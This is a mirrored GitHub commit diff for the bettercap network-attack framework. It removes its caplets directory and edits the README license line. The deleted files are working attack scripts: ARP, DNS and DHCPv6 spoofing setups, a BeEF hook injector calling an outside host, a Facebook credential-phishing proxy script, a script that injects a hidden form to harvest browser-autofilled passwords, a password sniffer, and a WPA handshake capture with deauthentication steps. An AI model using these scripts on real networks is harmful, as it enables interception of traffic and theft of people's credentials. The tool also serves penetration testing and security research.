mirror of
https://github.com/bettercap/bettercap
synced 2025-08-14 02:36:57 -07:00
misc: small fix or general refactoring i did not bother commenting
This commit is contained in:
parent
63cea73f8e
commit
147770d2cb
31 changed files with 1 additions and 624 deletions
|
@ -374,4 +374,4 @@ clear
|
|||
|
||||
## License
|
||||
|
||||
`bettercap` and `bettercap` are made with ♥ by [Simone Margaritelli](https://www.evilsocket.net/) and they're released under the GPL 3 license.
|
||||
`bettercap` is made with ♥ by [the dev team](https://github.com/orgs/bettercap/people) and it's released under the GPL 3 license.
|
||||
|
|
|
@ -1,14 +0,0 @@
|
|||
# let's add some api :D
|
||||
include caplets/rest-api.cap
|
||||
|
||||
set $ {by}{fw}{env.iface.name}{reset} {bold}» {reset}
|
||||
set ticker.commands clear; wifi.show
|
||||
|
||||
# uncomment to disable channel hopping
|
||||
# set wifi.recon.channel 1
|
||||
|
||||
wifi.recon on
|
||||
ticker on
|
||||
events.clear
|
||||
clear
|
||||
|
|
@ -1,3 +0,0 @@
|
|||
set api.rest.username changeme
|
||||
set api.rest.password changeme
|
||||
set api.rest.address 0.0.0.0
|
|
@ -1,14 +0,0 @@
|
|||
include caplets/ap-config.cap
|
||||
|
||||
set net.sniff.local true
|
||||
set net.sniff.verbose false
|
||||
set net.sniff.filter not arp and not udp port 53
|
||||
|
||||
events.stream off
|
||||
events.clear
|
||||
|
||||
set events.stream.filter endpoint.
|
||||
events.stream on
|
||||
|
||||
api.rest on
|
||||
net.sniff on
|
|
@ -1,19 +0,0 @@
|
|||
# targeting the whole subnet by default, to make it selective:
|
||||
#
|
||||
# sudo ./bettercap -caplet caplets/beef-active.cap -eval "set arp.spoof.targets 192.168.1.64"
|
||||
|
||||
# inject beef hook
|
||||
set http.proxy.script caplets/beef-inject.js
|
||||
# redirect http traffic to a proxy
|
||||
http.proxy on
|
||||
# wait for everything to start properly
|
||||
sleep 1
|
||||
|
||||
# make sure probing is off as it conflicts with arp spoofing
|
||||
arp.spoof on
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
|
@ -1,16 +0,0 @@
|
|||
function onLoad() {
|
||||
log( "BeefInject loaded." );
|
||||
log("targets: " + env['arp.spoof.targets']);
|
||||
}
|
||||
|
||||
function onResponse(req, res) {
|
||||
if( res.ContentType.indexOf('text/html') == 0 ){
|
||||
var body = res.ReadBody();
|
||||
if( body.indexOf('</head>') != -1 ) {
|
||||
res.Body = body.replace(
|
||||
'</head>',
|
||||
'<script type="text/javascript" src="http://hackbox:3000/hook.js"></script></head>'
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,13 +0,0 @@
|
|||
# inject beef hook
|
||||
set http.proxy.script caplets/beef-inject.js
|
||||
# redirect http traffic to a proxy
|
||||
http.proxy on
|
||||
# wait for everything to start properly
|
||||
sleep 1
|
||||
active
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
|
@ -1,7 +0,0 @@
|
|||
set http.server.address 0.0.0.0
|
||||
set http.server.path caplets/www/www.facebook.com/
|
||||
|
||||
set http.proxy.script caplets/fb-phish.js
|
||||
|
||||
http.proxy on
|
||||
http.server on
|
|
@ -1,23 +0,0 @@
|
|||
var RESET = "\033[0m";
|
||||
|
||||
function R(s) {
|
||||
return "\033[31m" + s + RESET;
|
||||
}
|
||||
|
||||
function B(s) {
|
||||
return "\033[34m" + s + RESET;
|
||||
}
|
||||
|
||||
function onRequest(req, res) {
|
||||
if( req.Method == "POST" && req.Path == "/login.php" && req.ContentType == "application/x-www-form-urlencoded" ) {
|
||||
var form = req.ParseForm();
|
||||
var email = form["email"] || "?",
|
||||
pass = form["pass"] || "?";
|
||||
|
||||
log( R(req.Client), " > FACEBOOK > email:", B(email), " pass:'" + B(pass) + "'" );
|
||||
|
||||
res.Status = 301;
|
||||
res.Headers = "Location: https://www.facebook.com/\n" +
|
||||
"Connection: close";
|
||||
}
|
||||
}
|
|
@ -1,27 +0,0 @@
|
|||
# targeting the whole subnet by default, to make it selective:
|
||||
#
|
||||
# sudo ./bettercap -caplet caplets/http-req-dump.cap -eval "set arp.spoof.targets 192.168.1.64"
|
||||
|
||||
# to make it less verbose
|
||||
# events.stream off
|
||||
|
||||
# discover a few hosts
|
||||
net.probe on
|
||||
sleep 1
|
||||
net.probe off
|
||||
|
||||
# uncomment to enable sniffing too
|
||||
# set net.sniff.verbose false
|
||||
# set net.sniff.local true
|
||||
# set net.sniff.filter tcp port 443
|
||||
# net.sniff on
|
||||
|
||||
# we'll use this proxy script to dump requests
|
||||
set https.proxy.script caplets/http-req-dump.js
|
||||
set http.proxy.script caplets/http-req-dump.js
|
||||
clear
|
||||
|
||||
# go ^_^
|
||||
http.proxy on
|
||||
https.proxy on
|
||||
arp.spoof on
|
|
@ -1,140 +0,0 @@
|
|||
var RESET = "\033[0m";
|
||||
|
||||
function R(s) {
|
||||
return "\033[31m" + s + RESET;
|
||||
}
|
||||
|
||||
function G(s) {
|
||||
return "\033[32m" + s + RESET;
|
||||
}
|
||||
|
||||
function B(s) {
|
||||
return "\033[34m" + s + RESET;
|
||||
}
|
||||
|
||||
function Y(s) {
|
||||
return "\033[33m" + s + RESET;
|
||||
}
|
||||
|
||||
function DIM(s) {
|
||||
return "\033[2m" + s + RESET;
|
||||
}
|
||||
|
||||
function BOLD(s) {
|
||||
return "\033[1m" + s + RESET;
|
||||
}
|
||||
|
||||
function dumpHeaders(req) {
|
||||
log( "> " + BOLD(G("Headers")) );
|
||||
for( var i = 0; i < req.Headers.length; i++ ) {
|
||||
var header = req.Headers[i];
|
||||
log( " " + B(header.Name) + " : " + DIM(header.Value) );
|
||||
}
|
||||
}
|
||||
|
||||
function dumpPlain(req) {
|
||||
log( " > " + BOLD(G("Text")) );
|
||||
|
||||
var body = req.ReadBody();
|
||||
|
||||
log( " " + Y(body) );
|
||||
}
|
||||
|
||||
function dumpForm(req) {
|
||||
log( " > " + BOLD(G("Form")) );
|
||||
|
||||
var form = req.ParseForm();
|
||||
for( var key in form ) {
|
||||
log( " " + B(key) + " : " + Y(form[key]) );
|
||||
}
|
||||
}
|
||||
|
||||
function dumpJSON(req) {
|
||||
log( " > " + BOLD(G("JSON")) );
|
||||
|
||||
var body = req.ReadBody();
|
||||
|
||||
// TODO: pretty print json
|
||||
log( " " + Y(body) );
|
||||
}
|
||||
|
||||
function pad(num, size, fill) {
|
||||
var s = ""+num;
|
||||
|
||||
while( s.length < size ) {
|
||||
s = fill + s;
|
||||
}
|
||||
|
||||
return s;
|
||||
}
|
||||
|
||||
function toHex(n) {
|
||||
var hex = "0123456789abcdef";
|
||||
var h = hex[(0xF0 & n) >> 4] + hex[0x0F & n];
|
||||
return pad(h, 2, '0');
|
||||
}
|
||||
|
||||
function isPrint(c){
|
||||
if( !c ) { return false; }
|
||||
var code = c.charCodeAt(0);
|
||||
return ( code > 31 ) && ( code < 127 );
|
||||
}
|
||||
|
||||
function dumpHex(raw, linePad) {
|
||||
var DataSize = raw.length;
|
||||
var Bytes = 16;
|
||||
|
||||
for( var address = 0; address < DataSize; address++ ) {
|
||||
var saddr = pad(address, 8, '0');
|
||||
var shex = '';
|
||||
var sprint = '';
|
||||
|
||||
var end = address + Bytes;
|
||||
for( var i = address; i < end; i++ ) {
|
||||
if( i < DataSize ) {
|
||||
shex += toHex(raw.charCodeAt(i)) + ' ';
|
||||
sprint += isPrint(raw[i]) ? raw[i] : '.';
|
||||
} else {
|
||||
shex += ' ';
|
||||
sprint += ' ';
|
||||
}
|
||||
}
|
||||
|
||||
address = end;
|
||||
|
||||
log( linePad + G(saddr) + ' ' + shex + ' ' + sprint );
|
||||
}
|
||||
}
|
||||
|
||||
function dumpRaw(req) {
|
||||
var body = req.ReadBody();
|
||||
|
||||
log( " > " + BOLD(G("Body")) + " " + DIM("("+body.length + " bytes)") + "\n" );
|
||||
|
||||
dumpHex(body, " ");
|
||||
}
|
||||
|
||||
function onRequest(req, res) {
|
||||
log( BOLD(req.Client), " > ", B(req.Method), " " + req.Hostname + req.Path + ( req.Query ? "?" + req.Query : '') );
|
||||
|
||||
dumpHeaders(req);
|
||||
|
||||
if( req.ContentType ) {
|
||||
log();
|
||||
|
||||
if( req.ContentType.indexOf("text/plain") != -1 ) {
|
||||
dumpPlain(req);
|
||||
}
|
||||
else if( req.ContentType.indexOf("application/x-www-form-urlencoded") != -1 ) {
|
||||
dumpForm(req);
|
||||
}
|
||||
else if( req.ContentType.indexOf("application/json") != -1 ) {
|
||||
dumpJSON(req);
|
||||
}
|
||||
else {
|
||||
dumpRaw(req);
|
||||
}
|
||||
}
|
||||
|
||||
log();
|
||||
}
|
|
@ -1,11 +0,0 @@
|
|||
#events.stream off
|
||||
events.clear
|
||||
# set events.stream.filter net.sniff
|
||||
# events.stream on
|
||||
|
||||
set net.sniff.verbose false
|
||||
set net.sniff.local true
|
||||
# https://biot.com/capstats/bpf.html
|
||||
# set net.sniff.filter not arp and not udp port 53
|
||||
|
||||
net.sniff on
|
|
@ -1,12 +0,0 @@
|
|||
# targeting the whole subnet by default, to make it selective:
|
||||
#
|
||||
# sudo ./bettercap -caplet caplets/login-man-abuse.cap -eval "set arp.spoof.targets 192.168.1.53"
|
||||
|
||||
set http.proxy.script caplets/login-man-abuse.js
|
||||
http.proxy on
|
||||
sleep 1
|
||||
arp.spoof on
|
||||
|
||||
|
||||
|
||||
|
|
@ -1,46 +0,0 @@
|
|||
/*
|
||||
* Ref.
|
||||
* - https://github.com/evilsocket/bettercap-proxy-modules/issues/72
|
||||
* - https://freedom-to-tinker.com/2017/12/27/no-boundaries-for-user-identities-web-trackers-exploit-browser-login-managers/
|
||||
*
|
||||
* The idea:
|
||||
*
|
||||
* - On every html page, inject this invisible form who grabs credentials from login managers.
|
||||
* - POST such credentials to /login-man-abuser, given we control the HTTP traffic, we'll intercept this request.
|
||||
* - Intercept request, dump credentials, drop client to 404.
|
||||
*/
|
||||
var AbuserJavascript = "";
|
||||
|
||||
function onLoad() {
|
||||
// log( "Loading abuser code from caplets/login-man-abuser.js" );
|
||||
AbuserJavascript = readFile("caplets/login-man-abuser.js")
|
||||
}
|
||||
|
||||
// here we intercept the ajax POST request with leaked credentials.
|
||||
function onRequest(req, res) {
|
||||
if( req.Method == 'POST' && req.Path == "/login-man-abuser" ) {
|
||||
log( "[LOGIN MANAGER ABUSER]\n", req.ReadBody() );
|
||||
// this was just a fake request we needed to exfiltrate
|
||||
// credentials to us, drop the connection with an empty 200.
|
||||
res.Status = 200;
|
||||
res.ContentType = "text/html";
|
||||
res.Headers = "Connection: close";
|
||||
res.Body = "";
|
||||
}
|
||||
}
|
||||
|
||||
// inject the javascript in html pages
|
||||
function onResponse(req, res) {
|
||||
if( res.ContentType.indexOf('text/html') == 0 ){
|
||||
var body = res.ReadBody();
|
||||
if( body.indexOf('</head>') != -1 ) {
|
||||
res.Body = body.replace(
|
||||
'</head>',
|
||||
'<script type="text/javascript">' + "\n" +
|
||||
AbuserJavascript +
|
||||
'</script>' +
|
||||
'</head>'
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,71 +0,0 @@
|
|||
/*
|
||||
* Ref.
|
||||
* - https://github.com/evilsocket/bettercap-proxy-modules/issues/72
|
||||
* - https://freedom-to-tinker.com/2017/12/27/no-boundaries-for-user-identities-web-trackers-exploit-browser-login-managers/
|
||||
*
|
||||
* The idea:
|
||||
*
|
||||
* - On every html page, inject this invisible form who grabs credentials from login managers.
|
||||
* - POST such credentials to /login-man-abuser, given we control the HTTP traffic, well intercept this request.
|
||||
* - Intercept request, dump credentials, drop client to 404.
|
||||
*/
|
||||
var AbuserJavascript =
|
||||
var injectForm = function(visible) {
|
||||
var container = document.createElement("div");
|
||||
if (!visible){
|
||||
container.style.display = "none";
|
||||
}
|
||||
var form = document.createElement("form");
|
||||
form.attributes.autocomplete = "on";
|
||||
var emailInput = document.createElement("input");
|
||||
emailInput.attributes.vcard_name = "vCard.Email";
|
||||
emailInput.id = "email";
|
||||
emailInput.type = "email";
|
||||
emailInput.name = "email";
|
||||
form.appendChild(emailInput);
|
||||
var passwordInput = document.createElement("input");
|
||||
passwordInput.id = "password";
|
||||
passwordInput.type = "password";
|
||||
passwordInput.name = "password";
|
||||
form.appendChild(passwordInput);
|
||||
container.appendChild(form);
|
||||
document.body.appendChild(container);
|
||||
};
|
||||
|
||||
var doPOST = function(data) {
|
||||
var xhr = new XMLHttpRequest();
|
||||
|
||||
xhr.open("POST", "/login-man-abuser");
|
||||
xhr.setRequestHeader("Content-Type", "application/json");
|
||||
xhr.onload = function() {
|
||||
console.log("Enjoy your coffee!");
|
||||
};
|
||||
|
||||
xhr.send(JSON.stringify(data));
|
||||
};
|
||||
|
||||
var sniffInputField = function(fieldId){
|
||||
var inputElement = document.getElementById(fieldId);
|
||||
if (inputElement.value.length){
|
||||
return {fieldId: inputElement.value};
|
||||
}
|
||||
window.setTimeout(sniffInputField, 200, fieldId); // wait for 200ms
|
||||
};
|
||||
|
||||
var sniffInputFields = function(){
|
||||
var inputs = document.getElementsByTagName("input");
|
||||
data = {};
|
||||
for (var i = 0; i < inputs.length; i++) {
|
||||
console.log("Will try to sniff element with id: " + inputs[i].id);
|
||||
output = stringsniffInputField(inputs[i].id);
|
||||
data = Object.assign({}, data, output);
|
||||
}
|
||||
doPOST(data);
|
||||
};
|
||||
|
||||
var sniffFormInfo = function(visible) {
|
||||
injectForm(visible);
|
||||
sniffInputFields();
|
||||
};
|
||||
|
||||
sniffFormInfo(false);;
|
|
@ -1,20 +0,0 @@
|
|||
# let's spoof Microsoft and Google ^_^
|
||||
set dns.spoof.domains microsoft.com, google.com
|
||||
set dhcp6.spoof.domains microsoft.com, google.com
|
||||
|
||||
# every request http request to the spoofed hosts will come to us
|
||||
# let's give em some contents
|
||||
set http.server.path caplets/www
|
||||
|
||||
# serve files
|
||||
http.server on
|
||||
# redirect DNS request by spoofing DHCPv6 packets
|
||||
dhcp6.spoof on
|
||||
# send spoofed DNS replies ^_^
|
||||
dns.spoof on
|
||||
|
||||
# set a custom prompt for ipv6
|
||||
set $ {by}{fw}{cidr} {fb}> {env.iface.ipv6} {reset} {bold}» {reset}
|
||||
# clear the events buffer and the screen
|
||||
events.clear
|
||||
clear
|
|
@ -1,3 +0,0 @@
|
|||
net.probe on
|
||||
clear
|
||||
ticker on
|
|
@ -1,2 +0,0 @@
|
|||
set http.proxy.script caplets/proxy-script-test.js
|
||||
http.proxy on
|
|
@ -1,39 +0,0 @@
|
|||
// called when script is loaded
|
||||
function onLoad() {
|
||||
console.log( "PROXY SCRIPT LOADED" );
|
||||
}
|
||||
|
||||
// called before a request is proxied
|
||||
function onRequest(req, res) {
|
||||
if( req.Path == "/test-page" ){
|
||||
res.Status = 200;
|
||||
res.ContentType = "text/html";
|
||||
res.Headers = "Server: bettercap\r\n" +
|
||||
"Connection: close";
|
||||
res.Body = "<html>" +
|
||||
"<head>" +
|
||||
"<title>Test Page</title>" +
|
||||
"</head>" +
|
||||
"<body>" +
|
||||
"<div align=\"center\">Hello world from bettercap!</div>" +
|
||||
"</body>" +
|
||||
"</html>";
|
||||
}
|
||||
}
|
||||
|
||||
// called after a request is proxied and there's a response
|
||||
function onResponse(req, res) {
|
||||
if( res.Status == 404 ){
|
||||
res.ContentType = "text/html";
|
||||
res.Headers = "Server: bettercap\r\n" +
|
||||
"Connection: close";
|
||||
res.Body = "<html>" +
|
||||
"<head>" +
|
||||
"<title>Test 404 Page</title>" +
|
||||
"</head>" +
|
||||
"<body>" +
|
||||
"<div align=\"center\">Custom 404 from bettercap.</div>" +
|
||||
"</body>" +
|
||||
"</html>";
|
||||
}
|
||||
}
|
|
@ -1,4 +0,0 @@
|
|||
net.probe on
|
||||
sleep 5
|
||||
net.show
|
||||
quit
|
|
@ -1,3 +0,0 @@
|
|||
sleep 1
|
||||
net.show
|
||||
quit
|
|
@ -1,8 +0,0 @@
|
|||
# change these!
|
||||
set api.rest.username bcap
|
||||
set api.rest.password bcap
|
||||
# set api.rest.port 8082
|
||||
|
||||
net.probe on
|
||||
api.rest on
|
||||
|
|
@ -1,10 +0,0 @@
|
|||
set net.sniff.regexp .*password=.+
|
||||
set net.sniff.output passwords.cap
|
||||
|
||||
# start arp spoofing attack
|
||||
# arp.spoof on
|
||||
net.sniff on
|
||||
|
||||
|
||||
|
||||
|
|
@ -1,26 +0,0 @@
|
|||
# let's spoof Microsoft and Google ^_^
|
||||
set dns.spoof.domains microsoft.com, google.com
|
||||
set dhcp6.spoof.domains microsoft.com, google.com
|
||||
# and let's inject a beef hook into everything else ^_^
|
||||
set http.proxy.script caplets/beef-inject.js
|
||||
|
||||
# every http request to the spoofed hosts will come to us
|
||||
# let's give em some contents
|
||||
set http.server.path caplets/www
|
||||
|
||||
# serve files
|
||||
http.server on
|
||||
# redirect DNS request by spoofing DHCPv6 packets
|
||||
dhcp6.spoof on
|
||||
# send spoofed DNS replies ^_^
|
||||
dns.spoof on
|
||||
# just in case U.U'
|
||||
arp.spoof on
|
||||
# enable proxy
|
||||
http.proxy on
|
||||
|
||||
# clear the events buffer and the screen
|
||||
events.clear
|
||||
clear
|
||||
|
||||
|
|
@ -1 +0,0 @@
|
|||
set $ {by}{fb}SENT:{fw}{net.sent.human} {fb}RECV:{fw}{net.received.human} {fb}PKTS:{fw}{net.packets} {r}ERR:{net.errors}{reset} {bold}» {reset}
|
|
@ -1,14 +0,0 @@
|
|||
# targeting the whole subnet by default, to make it selective:
|
||||
#
|
||||
# sudo ./bettercap -caplet caplets/web-override.cap -eval "set arp.spoof.targets 192.168.1.64"
|
||||
|
||||
set http.proxy.script caplets/web-override.js
|
||||
http.proxy on
|
||||
arp.spoof on
|
||||
events.clear
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
|
@ -1,8 +0,0 @@
|
|||
// Called before every request is executed, just override the response with
|
||||
// our own html web page.
|
||||
function onRequest(req, res) {
|
||||
res.Status = 200;
|
||||
res.ContentType = "text/html";
|
||||
res.Headers = "Connection: close";
|
||||
res.Body = readFile("caplets/www/index.html");
|
||||
}
|
|
@ -1,42 +0,0 @@
|
|||
# swag prompt for wifi
|
||||
set $ {by}{fw}{env.iface.name}{reset} {bold}» {reset}
|
||||
|
||||
# Sniff EAPOL frames ( WPA handshakes ) and save them to a pcap file.
|
||||
set net.sniff.verbose true
|
||||
set net.sniff.filter ether proto 0x888e
|
||||
set net.sniff.output wpa.pcap
|
||||
net.sniff on
|
||||
|
||||
# since we need to capture the handshake, we can't hop
|
||||
# through channels but we need to stick to the one we're
|
||||
# interested in otherwise the sniffer might lose packets.
|
||||
set wifi.recon.channel 1
|
||||
|
||||
# this will enable the wifi recon
|
||||
set ticker.commands clear; wifi.show
|
||||
wifi.recon on
|
||||
ticker on
|
||||
|
||||
# uncomment to recon clients of a specific AP given its BSSID
|
||||
# wifi.recon DE:AD:BE:EF:DE:AD
|
||||
|
||||
events.clear
|
||||
clear
|
||||
|
||||
# now just deauth clients and wait ^_^
|
||||
#
|
||||
# Example:
|
||||
#
|
||||
# wifi.deauth AP-BSSID-HERE
|
||||
#
|
||||
# This will deauth every client for this specific access point,
|
||||
# you can put it as ticker.commands to have the ticker module
|
||||
# periodically deauth clients, or:
|
||||
#
|
||||
# wifi.deauth CLIENT-BSSID-HERE
|
||||
#
|
||||
# This will only deauth a signle client from its access point.
|
||||
#
|
||||
# For more options `help wifi.recon`.
|
||||
|
||||
|
1
caplets/www/.gitignore
vendored
1
caplets/www/.gitignore
vendored
|
@ -1 +0,0 @@
|
|||
www.facebook.com
|
|
@ -1,9 +0,0 @@
|
|||
all: facebook
|
||||
|
||||
facebook:
|
||||
wget -U "Mozilla/5.0 (Windows NT 5.2; rv:2.0.1) Gecko/20100101 Firefox/4.0.1" -S -r www.facebook.com
|
||||
find www.facebook.com -name "*.html" -print0 | xargs -0 sed -i "s/https:\/\/www.facebook.com//g"
|
||||
|
||||
clean:
|
||||
rm -rf www.facebook.com
|
||||
|
|
@ -1,17 +0,0 @@
|
|||
<!doctype html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<title>You've just been RickRoll'd</title>
|
||||
<meta name="description" content="You've just been RickRoll'd">
|
||||
<meta name="author" content="bettercap">
|
||||
<!--[if lt IE 9]>
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.js"></script>
|
||||
<![endif]-->
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<iframe width="100%" height="768" src="https://www.youtube.com/embed/oHg5SJYRHA0?controls=0" frameborder="0" allow="autoplay" allowfullscreen></iframe>
|
||||
|
||||
</body>
|
||||
</html>
|
Loading…
Add table
Add a link
Reference in a new issue